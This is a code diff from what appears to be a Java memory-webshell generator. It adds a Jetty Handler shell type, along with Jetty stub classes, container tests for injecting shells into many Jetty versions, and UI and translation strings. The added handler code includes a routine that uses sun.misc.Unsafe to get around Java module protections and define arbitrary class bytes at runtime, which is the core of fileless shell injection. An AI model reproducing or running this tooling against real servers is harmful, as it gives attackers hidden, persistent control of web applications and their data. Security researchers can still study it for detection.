+        if (handle(request, response)) {
+            invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});
+            return;
+        }
+        if (nextHandler != null) {
+            nextHandler.handle(target, request, response, dispatch);
+        }
+    }
+
+    // jetty7+
+    public void handle(String target, Request baseRequest, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
+        if (handle(request, response)) {
+            invokeMethod(baseRequest, "setHandled", new Class[]{boolean.class}, new Object[]{true});
+            return;
+        }
+        if (nextHandler != null) {
+            nextHandler.handle(target, baseRequest, request, response);
+        }
+    }
+
+    public Class<?> reflectionDefineClass(byte[] classBytes) throws Exception {
+        Object unsafe = null;
+        Object rawModule = null;
+        long offset = 48;
+        Method getAndSetObjectM = null;
+        try {
+            Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
+            Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
+            unsafeField.setAccessible(true);
+            unsafe = unsafeField.get(null);
+            rawModule = Class.class.getMethod("getModule").invoke(this.getClass(), (Object[]) null);
+            Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
+            Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
+            offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
+            getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
+            getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module);
+        } catch (Throwable ignored) {
+        }
+        URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
+        Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
+        defMethod.setAccessible(true);
+        Class<?> clazz = (Class<?>) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
+        if (getAndSetObjectM != null) {
+            getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
+        }
+        return clazz;
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName) {
+        return invokeMethod(obj, methodName, null, null);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + (obj instanceof Class ? ((Class<?>) obj).getName() : obj.getClass().getName()) + "." + methodName, e);
+        }
+    }
+
    @SuppressWarnings("all")
    public static String base64Encode(byte[] bs) throws Exception {
        try {
@@ -0,0 +1,8 @@
+package org.eclipse.jetty.server;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/2
+ */
+public class Connector {
+}
@@ -0,0 +1,21 @@
+package org.eclipse.jetty.server;
+
+import org.eclipse.jetty.util.Callback;
+
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+
+/**
+ * @author ReaJason
+ * @since 2025/11/29
+ */
+public interface Handler {
+    void handle(String target, Request baseRequest, HttpServletRequest request, HttpServletResponse response)
+            throws IOException, ServletException;
+
+    boolean handle(Request request, Response response, Callback callback) throws Exception;
+
+    void handle(String target, HttpServletRequest request, HttpServletResponse response, int dispatch) throws IOException, ServletException;
+}
@@ -0,0 +1,11 @@
+package org.eclipse.jetty.server;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/2
+ */
+public class HttpConfiguration {
+    public interface Customizer {
+
+    }
+}
@@ -0,0 +1,8 @@
+package org.eclipse.jetty.server;
+
+/**
+ * @author ReaJason
+ * @since 2025/11/29
+ */
+public interface Request {
+}
@@ -0,0 +1,8 @@
+package org.eclipse.jetty.server;
+
+/**
+ * @author ReaJason
+ * @since 2025/11/29
+ */
+public interface Response {
+}
@@ -0,0 +1,8 @@
+package org.eclipse.jetty.util;
+
+/**
+ * @author ReaJason
+ * @since 2025/11/29
+ */
+public interface Callback {
+}
@@ -54,6 +54,7 @@ public class Jetty10ContainerTest {
                ShellType.SERVLET,
                ShellType.FILTER,
                ShellType.LISTENER,
+                ShellType.HANDLER,
                ShellType.JETTY_AGENT_HANDLER
        );
        List<Packers> testPackers = List.of(Packers.JSP);
@@ -70,6 +71,6 @@ public class Jetty10ContainerTest {
    @ParameterizedTest(name = "{0}|{1}{2}|{3}")
    @MethodSource("casesProvider")
    void test(String imageName, String shellType, String shellTool, Packers packer) {
-        shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V11, packer, container, python);
    }
 }
@@ -55,6 +55,7 @@ public class Jetty11ContainerTest {
                ShellType.JAKARTA_SERVLET,
                ShellType.JAKARTA_FILTER,
                ShellType.JAKARTA_LISTENER,
+                ShellType.JAKARTA_HANDLER,
                ShellType.JETTY_AGENT_HANDLER
        );
        List<Packers> testPackers = List.of(Packers.JSP);
@@ -72,6 +73,6 @@ public class Jetty11ContainerTest {
    @ParameterizedTest(name = "{0}|{1}{2}|{3}")
    @MethodSource("casesProvider")
    void test(String imageName, String shellType, String shellTool, Packers packer) {
-        shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V17, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V17, packer, container, python);
    }
 }
@@ -55,6 +55,7 @@ public class Jetty12ee10ContainerTest {
                ShellType.JAKARTA_SERVLET,
                ShellType.JAKARTA_FILTER,
                ShellType.JAKARTA_LISTENER,
+                ShellType.JAKARTA_HANDLER,
                ShellType.JETTY_AGENT_HANDLER
        );
        List<Packers> testPackers = List.of(Packers.Base64);
@@ -72,6 +73,6 @@ public class Jetty12ee10ContainerTest {
    @ParameterizedTest(name = "{0}|{1}{2}|{3}")
    @MethodSource("casesProvider")
    void test(String imageName, String shellType, String shellTool, Packers packer) {
-        shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python);
    }
 }
@@ -55,6 +55,7 @@ public class Jetty12ee11ContainerTest {
                ShellType.JAKARTA_SERVLET,
                ShellType.JAKARTA_FILTER,
                ShellType.JAKARTA_LISTENER,
+                ShellType.JAKARTA_HANDLER,
                ShellType.JETTY_AGENT_HANDLER
        );
        List<Packers> testPackers = List.of(Packers.Base64);
@@ -73,6 +74,6 @@ public class Jetty12ee11ContainerTest {
    @ParameterizedTest(name = "{0}|{1}{2}|{3}")
    @MethodSource("casesProvider")
    void test(String imageName, String shellType, String shellTool, Packers packer) {
-        shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python);
    }
 }
@@ -54,6 +54,7 @@ public class Jetty12ee8ContainerTest {
                ShellType.SERVLET,
                ShellType.FILTER,
                ShellType.LISTENER,
+                ShellType.HANDLER,
                ShellType.JETTY_AGENT_HANDLER
        );
        List<Packers> testPackers = List.of(Packers.Base64);
@@ -70,6 +71,6 @@ public class Jetty12ee8ContainerTest {
    @ParameterizedTest(name = "{0}|{1}{2}|{3}")
    @MethodSource("casesProvider")
    void test(String imageName, String shellType, String shellTool, Packers packer) {
-        shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python);
    }
 }
@@ -55,6 +55,7 @@ public class Jetty12ee9ContainerTest {
                ShellType.JAKARTA_SERVLET,
                ShellType.JAKARTA_FILTER,
                ShellType.JAKARTA_LISTENER,
+                ShellType.JAKARTA_HANDLER,
                ShellType.JETTY_AGENT_HANDLER
        );
        List<Packers> testPackers = List.of(Packers.Base64);
@@ -72,6 +73,6 @@ public class Jetty12ee9ContainerTest {
    @ParameterizedTest(name = "{0}|{1}{2}|{3}")
    @MethodSource("casesProvider")
    void test(String imageName, String shellType, String shellTool, Packers packer) {
-        shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python);
    }
 }
@@ -54,6 +54,7 @@ public class Jetty61ContainerTest {
                ShellType.SERVLET,
                ShellType.FILTER,
                ShellType.LISTENER,
+                ShellType.HANDLER,
                ShellType.JETTY_AGENT_HANDLER
        );
        List<Packers> testPackers = List.of(Packers.JSP);
@@ -70,6 +71,6 @@ public class Jetty61ContainerTest {
    @ParameterizedTest(name = "{0}|{1}{2}|{3}")
    @MethodSource("casesProvider")
    void test(String imageName, String shellType, String shellTool, Packers packer) {
-        shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Jetty, "6", shellType, shellTool, Opcodes.V1_6, packer, container, python);
    }
 }
@@ -54,6 +54,7 @@ public class Jetty75ContainerTest {
                ShellType.SERVLET,
                ShellType.FILTER,
                ShellType.LISTENER,
+                ShellType.HANDLER,
                ShellType.JETTY_AGENT_HANDLER
        );
        List<Packers> testPackers = List.of(Packers.JSP);
@@ -69,6 +70,6 @@ public class Jetty75ContainerTest {
    @ParameterizedTest(name = "{0}|{1}{2}|{3}")
    @MethodSource("casesProvider")
    void test(String imageName, String shellType, String shellTool, Packers packer) {
-        shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Jetty,"7+", shellType, shellTool, Opcodes.V1_6, packer, container, python);
    }
 }
@@ -54,6 +54,7 @@ public class Jetty76ContainerTest {
                ShellType.SERVLET,
                ShellType.FILTER,
                ShellType.LISTENER,
+                ShellType.HANDLER,
                ShellType.JETTY_AGENT_HANDLER
        );
        List<Packers> testPackers = List.of(Packers.JSP);
@@ -69,6 +70,6 @@ public class Jetty76ContainerTest {
    @ParameterizedTest(name = "{0}|{1}{2}|{3}")
    @MethodSource("casesProvider")
    void test(String imageName, String shellType, String shellTool, Packers packer) {
-        shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python);
    }
 }
@@ -54,6 +54,7 @@ public class Jetty81ContainerTest {
                ShellType.SERVLET,
                ShellType.FILTER,
                ShellType.LISTENER,
+                ShellType.HANDLER,
                ShellType.JETTY_AGENT_HANDLER
        );
        List<Packers> testPackers = List.of(Packers.JSP);
@@ -69,6 +70,6 @@ public class Jetty81ContainerTest {
    @ParameterizedTest(name = "{0}|{1}{2}|{3}")
    @MethodSource("casesProvider")
    void test(String imageName, String shellType, String shellTool, Packers packer) {
-        shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python);
    }
 }
@@ -55,6 +55,7 @@ public class Jetty92ContainerTest {
                ShellType.SERVLET,
                ShellType.FILTER,
                ShellType.LISTENER,
+                ShellType.HANDLER,
                ShellType.JETTY_AGENT_HANDLER
        );
        List<Packers> testPackers = List.of(Packers.JSP);
@@ -71,6 +72,6 @@ public class Jetty92ContainerTest {
    @ParameterizedTest(name = "{0}|{1}{2}|{3}")
    @MethodSource("casesProvider")
    void test(String imageName, String shellType, String shellTool, Packers packer) {
-        shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python);
    }
 }
@@ -54,6 +54,7 @@ public class Jetty93ContainerTest {
                ShellType.SERVLET,
                ShellType.FILTER,
                ShellType.LISTENER,
+                ShellType.HANDLER,
                ShellType.JETTY_AGENT_HANDLER
        );
        List<Packers> testPackers = List.of(Packers.JSP);
@@ -70,6 +71,6 @@ public class Jetty93ContainerTest {
    @ParameterizedTest(name = "{0}|{1}{2}|{3}")
    @MethodSource("casesProvider")
    void test(String imageName, String shellType, String shellTool, Packers packer) {
-        shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python);
    }
 }
@@ -54,6 +54,7 @@ public class Jetty94ContainerTest {
                ShellType.SERVLET,
                ShellType.FILTER,
                ShellType.LISTENER,
+                ShellType.HANDLER,
                ShellType.JETTY_AGENT_HANDLER
        );
        List<Packers> testPackers = List.of(Packers.JSP);
@@ -70,6 +71,6 @@ public class Jetty94ContainerTest {
    @ParameterizedTest(name = "{0}|{1}{2}|{3}")
    @MethodSource("casesProvider")
    void test(String imageName, String shellType, String shellTool, Packers packer) {
-        shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python);
    }
 }
@@ -144,18 +144,16 @@ export default function MainConfigCard({
        if (value === "TongWeb") {
          setServerVersionOptions([
            ...defaultServerVersionOptions,
-            {
-              name: "6",
-              value: "6",
-            },
-            {
-              name: "7",
-              value: "7",
-            },
-            {
-              name: "8",
-              value: "8",
-            },
+            { name: "6", value: "6" },
+            { name: "7", value: "7" },
+            { name: "8", value: "8" },
+          ]);
+        } else if (value === "Jetty") {
+          setServerVersionOptions([
+            ...defaultServerVersionOptions,
+            { name: "6", value: "6" },
+            { name: "7+", value: "7+" },
+            { name: "12", value: "12" },
          ]);
        } else {
          setServerVersionOptions(defaultServerVersionOptions);
@@ -47,7 +47,7 @@
  "tips.execute-command1": "Execute the command to inject: java -jar /path/to/agent.jar pid",
  "tips.get-pid": "Get the process pid of the target jvm (use jps or ps)",
  "tips.handlerUrlPattern": "HandlerMethod/HandlerFunction type requires a specific URL Pattern, e.g., /hello_handler",
-  "tips.serverVersion": "serverVersion is required for TongWeb Valve",
+  "tips.serverVersion": "serverVersion is required",
  "tips.servletUrlPattern": "Servlet type requires a specific URL Pattern, e.g., /hello_servlet",
  "tips.shellBytesEmpty": "Shell bytes is empty, please generate shell first",
  "tips.shellToolNotSelected": "Please select a shell tool type first",
@@ -47,7 +47,7 @@
  "tips.execute-command1": "执行命令进行注入：java -jar /path/to/agent.jar pid",
  "tips.get-pid": "获取目标 jvm 的进程 pid（使用 jps 或 ps）",
  "tips.handlerUrlPattern": "HandlerMethod/HandlerFunction 类型的需要填写具体的 URL Pattern，例如 /hello_handler",
-  "tips.serverVersion": "TongWeb Valve 需要指定 serverVersion",
+  "tips.serverVersion": "当前挂载类型必须指定 serverVersion",
  "tips.servletUrlPattern": "Servlet 类型的需要填写具体的 URL Pattern，例如 /hello_servlet",
  "tips.shellBytesEmpty": "内存马字节码为空，无法下载，请先生成内存马",
  "tips.shellToolNotSelected": "请先选择内存马工具类型",
@@ -78,7 +78,7 @@ export function shouldHidden(shellType: string | undefined) {
    shellType.endsWith("Valve") ||
    shellType.startsWith("Agent") ||
    shellType.endsWith("Interceptor") ||
-    shellType.endsWith("NettyHandler") ||
+    shellType.endsWith("Handler") ||
    shellType.endsWith("WebFilter")
  );
 }
@@ -99,6 +99,19 @@ export const useYupValidationResolver = (
          };
        }

+        if (
+          values.server === "Jetty" &&
+          (values.shellType === "Handler"
+            || values.shellType === "JakartaHandler"
+          ) &&
+          values.serverVersion === "unknown"
+        ) {
+          errors[serverVersion] = {
+            type: "custom",
+            message: t("memshell:tips.serverVersion"),
+          };
+        }
+
        return {
          values,
          errors,